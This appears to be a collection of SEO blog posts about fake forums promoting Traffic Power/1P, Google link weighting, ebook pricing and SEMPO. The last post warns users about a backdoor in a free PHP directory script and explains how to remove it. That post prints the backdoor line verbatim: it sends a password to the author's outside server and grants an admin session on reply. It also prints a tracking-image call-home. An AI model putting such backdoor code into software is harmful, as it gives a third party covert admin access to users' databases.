Fake SEO Forum?
Probably didn't think people would notice them about a week after they created their absolutely fake forum, but I did. Web-Advertising-Info = complete garbage... Web-Advertising-Info.com
It is a fake forum set up to push Traffic Power / 1P SEO services. These are the same SEO services that have got many webmasters banned from the search engines.

Web-Advertising-Info.com Forum Facts:

• Only list two category sources of seo news (one of which being me)

• Individually review a bunch of seo websites...as the seo forum categories (not normal)
• Say that I cold called them offering SEO services...based on how much time I spend reading books and posting in forums and stuff... I don't have time to cold call people. In fact I have even called a bunch of other SEOs asking if I could refer people to them...and even yesterday refered away a repeat client sell to a friend.
• They reviewed both of my sites as two of about 14 categories
• Only have categories of sites that have bashed (gave honest feedback out the services of) Traffic Power AND
• Give positive reviews of Traffic Power AND 1P
• Their forum is premoderated. When someone tried leaving a message they couldn't.
• No way that many negative things have been randomly said about me in less than a week in an honest premoderated forum with less than 100 posts.
• Can you say scam?

Avoid that forum like the plague.

Web-Advertising-Info.com Forum Screenshot:
This image of the forum which promotes 1P & Traffic Power shows how they used two of my site names as their categories (to bash me) and also use one of their categories to promote Traffic Power.

Traffic Power & 1P: Using Deceptive Marketing
The fact that they would go to these lengths to try to market their services shows a few things:

• They are pathetic.

• Their services must not be worth using.
• I was gonna let it slide, but this "SEO forum" went overboard. When Traffic Power cold called me asking to help me promote my website the site they wanted to promote this online shopping mall (look at how bad that site is and see for yourself the bad sites and naive webmasters they are actively trying to work for). The site is complete garbage. I made it before I knew anything about the web, marketing, or SEO. Now I use that site as bait site to see what kind of bad stuff there is on the web.
• Traffic power is still the only SEO company that has cold called me and they have also cold called multiple friends of mine.
• On September 23^rd Traffic Power cold called another friend of mine. Here is the email he sent me about the cold call:
  

  guess who I just got off the phone with? A rep from trafficpower!!! She says that paying $3000 will allow me to refer clients to 1p.com and I get like 40% of the service cost. I told her if she is any good, then she should work for herself. I will be in touch with her to see if she has any skill. Just for shits and giggles, I asked her what it would take for her to work for me full time. She said $1000/week. I laughed. She must be getting crumbs over there. If she's worth anything, she's worth ppc management. She seems bright

  ..but she works for crumbs in SEO.

More Placing this Bogus 1P / Traffic Power SEO Forum in Perspective
If you look at the links page on their site:
http://www.web-advertising-info.com/links.php
The second through fifth links on that page point into a site that promotes my ebook on every page of their website and gives it a glowing review.

More Fake SEO Forums Promoting 1P & Traffic Power
Andy Beal just spotted
seo-talk.net &
seo-forum.net

Later someone else noticed
seo-professional-forum.com

All the fake SEO forums promote the same garbage as the other forum I found. On seo-forum.net they ran a poll for my ebook (what real premoderated poles do you know that would use the following language and options)

• It was a waste of money.

• Aaron Wall's writes like a preschooler.
• If this were a real book, I'd wipe my ass with the pages!

The goal of this "clever" advertising bit is to try to make all SEO forums look deceptive and sneaky so that Traffic Power, 1P, and similar companies who had been complained about can be at a level bar with respectable SEO firms.

Basically it is a "our name is in the tank so we want to ruin yours too" type of game...kinda like how politics works. There is something overtly transparent about their forums that would likely turn off any site visitors. They could not have possibly been any more transparent.

Andy Beal has more info about the comment moderation of the fake SEO forums...apparently whoever made the forums was so foolish that they ping Feedster with the hidden moderated comments. Andy has a few of them posted on his blog.

Further Reading on 1P / Traffic Power SEO Services:

• Traffic Power @ Traffic Power Sucks (which is listed in the Allegedly Unethical Firms and Consumer Complaints sections of the Open Directory Project)

• Traffic Power @ JimWorld
• Traffic Power@ Mark Carey
• Traffic Power @ SEO Consultants Directory
• Traffic Power @ SEW Forums
• Traffic Power @ SEO Book.com
• 1P is the new name for Traffic Power @ SEO Book.com

Traffic Power Sinks to New Lows :-(
Las Vegas Tribune article...

Algorithm Change
Around September 23^rd many webmasters stated they lost a bunch of their traffic from Google.

Google to Change Their Way of Rewarding Linkage Data?
DaveN is a fairly well respected SEO who recently made the following statements at the SEW Forums:

the whole PR / Linkage Game has changed. Just be careful how and where you buy PR these days. ... Last time I spoke to my friends from the plex, they where working on the ability to add - positive and negative weight to links depending on how they looked Via there GUI. ... I have never seen the GUI but from what I can gather it will highlight un natural areas on page, think about where most people put there sold links.

How is Google Fighting Artificial Link Manipulation?
A ton of ways...

• Make SEO itself sound a bit sketchy.

• Show bunk backlinks.
• Not update PageRank.
• Deweighting links from the same C block IP address range. (Google may also use WhoIs lookup data).
• Manually penalize some sites for buying or selling PageRank...or for being in circles that make it seem like you are doing that.
• Prevent certain sites from parsing outbound link popularity.
• Automatically penalize sites for using the same link text too frequently.
• Now they are potentially going to look for ways to not only devalue links, but also potentially make them have negative value based on abnormal linkage patterns.
  
• They are also probably doing a bunch of other things I do not know of or forgot to list.

Anyone who does not believe in the power of link building should ask themselves why Google is putting so much effort into making it harder to do.

I need better img alt tags & more on topic inbound links!!! please link to this site ;)

I got my Search Readiness Report PDF report back from Ineedhits.com

$30 is not a ton to spend for individualized report so I did not expect to get a ton out of the report. I would say if you are new to the web it might be well worth spending $30 on the report. They really only need to find one thing wrong or teach you one good tip to make the report worth its price. One thing I would recommend to improve the report is to give 1 to 10 type scores for each element of the report versus yes or no results.

This does not have much to do with SEO, but has a ton to do with marketing any business.

All too often online businesses use the "cheap price" branding / sales angle. There will always be someone else who is cheaper. Cheap is not an effective longterm business strategy for most businesses... especially online.

I have been pricing my ebook at $40 because I wanted to make it cheap and affordable to a maximum number of people. While my sales have well exceeded my expectation many of my friends have been telling me that it is the wrong price point.

Example:
I could try to sell my ebook for $10, but likely most people would not buy it because at that price most people would think it is garbage.

I do understand the concept that it is better to push value than price... I am not really doing anyone a favor if a low price is turning people off. The price is arbitrary. It is the value that is important. A higher price may give a higher perceived value.

A couple other SEO ebooks are selling at higher price points ($67 or $97). A bunch of my friends stated that I should price my ebook at $67 and a few think I should charge $97 and an ongoing subscription fee.

I will likely raise the price of my ebook soon, but I am going to wait until after I talk to that cool cat NFFC from SEO Roadshow.

A couple good threads / articles / books on the concept of branding and / or price points:

• Kick ass post by NFFC

• Branding & Generic Dot Com Business Models - article by John Scott. Fun and slightly offensive to some, but 100% honest good advice.
• Wikipedia: Price Points
• The Revenge of Brand X - my favorite branding book.
• Purple Cow - book about being remarkable / different.

SEO Consultants reports that they believe Traffic Power has purchased the rights to and is now using 1P.com...Just in case you are wonder who Traffic Power is, here is a prior post titled Traffic Power & Cold Call SEO.

The original Traffic Power brand has a good bit of tarnish to it...I was wondering when they would adopt a new name.

SEMPO is Driven
If people had to say one positive thing about SEMPO it would be that they are driven toward a goal...they will not let petty feedback get in the way of that goal.

The problem is: nobody knows what that particular goal is?

The New SEMPO Weblog Press Release Collection
SEMPO recently created a press release weblog.

After thinking "what the hell is this?" I tried to post a comment into their blog. Unfortunately their comments are pre moderated. You will likely never read the comment I left. My comment did have a link to http://www.cluetrain.com/ though.

So much for that open feedback loop that makes the web great.

Danny Sullivan on SEMPO
Danny Sullivan just released a lengthy article titled Reflections on SEMPO, where he reviews many of the problems SEMPO has faced and announced he and Chris Sherman are resigning from the SEMPO advisory board.

Support for SEMPO seems to dwindle a bit more with each passing day.

SEMPO-Tahoe Press Release
Organizational leadership through press releases...oh how the web connects us.
Compare: SEMPO Press Release vs SEMPO-Tahoe Press Release

Similar, yet different. SEMPO-Tahoe is already up to #3 in Google when you search for SEMPO (only one more site to pass).

ThreadWatch
NickW recently created a new blog to track SEO forums. ThreadWatch posts about many of the often higher level & more interesting or elequent threads...including topics such as Guerilla Marketing, Kung Fu, and Vintage Mike Grehan Quotes^TM.

Triangular Linking Info
At Cre8aSite Black Knight talks about the future of linking and triangular linking schemes.

Because it is pretty damn bogus.

[update: Javier has removed the database access egg from his script.]

Tons of new directories are springing up using the Free PHP Directory Script created by Javier García Esteban (of Directory-Search or Biz-Directory). While his download page states "the script runs without known bugs with PHP4 and MySQL3," the script also ran with known eggs put in the programming.

Anyone who puts eggs in their software so they can have backdoor access to anyone using it does not have the best intentions for their users.

The two eggs I have been told about are:

• on line 62 of install_4.php - sends a referer to his directory
  
  <IMG SRC="http://www.directory-search.org/img/invis.gif" WIDTH=1 HEIGHT=1>

• on line 60 of include.php (must scroll to the right) - allowed Javier database access
  
  if ($pass) { $access = fopen ("http://www.directory-search.org/include_variables.php?p=$pass","r"); $access = fread($access,4); if ($access == "true"){ session_start(); $HTTP_SESSION_VARS['admin'] = true; header("Location: {$dir}admin_edit.php"); }; };

The first egg is harmless. It only identifies new installations. The second egg gave Javier access to your database.

The eggs are not hard to remove from the directory script. If you have an old version of the script you may want to remove the eggs.

• You can replace the image in the first egg with your own image or just delete that line of code. That first egg really is no big deal.

• The second egg is complete crap. [added: The second egg gives Javier backdoor access to the script. After I posted this Javier stated that he removed that egg. It is a shame that it was ever there in the first place.]

  To remove the second egg you need to remove that above part on line 60 (scroll way to the right) of include.php and replace it with:
  if ($pass) {
  $rand = md5(time());
  $access = fopen ("p=$rand","r");
  $access = fread($access,4);
  if ($access == "true") {
  session_start();
  $HTTP_SESSION_VARS['admin'] = true;
  header("Location: {$dir}admin_edit.php");
  };
  };
  (at least this is what I did)
  I also changed my PHPmyAdmin panel login password after I changed the script. Javier stated that the password was never sent even when the egg was there...he just was using it for backdoor access...as he states in his comment below. He also stated the place which was sent the database access is now a 404 error.

Thanks to MarketingLady at V7N forums. More info about the Free PHP Directory Script Backdoor.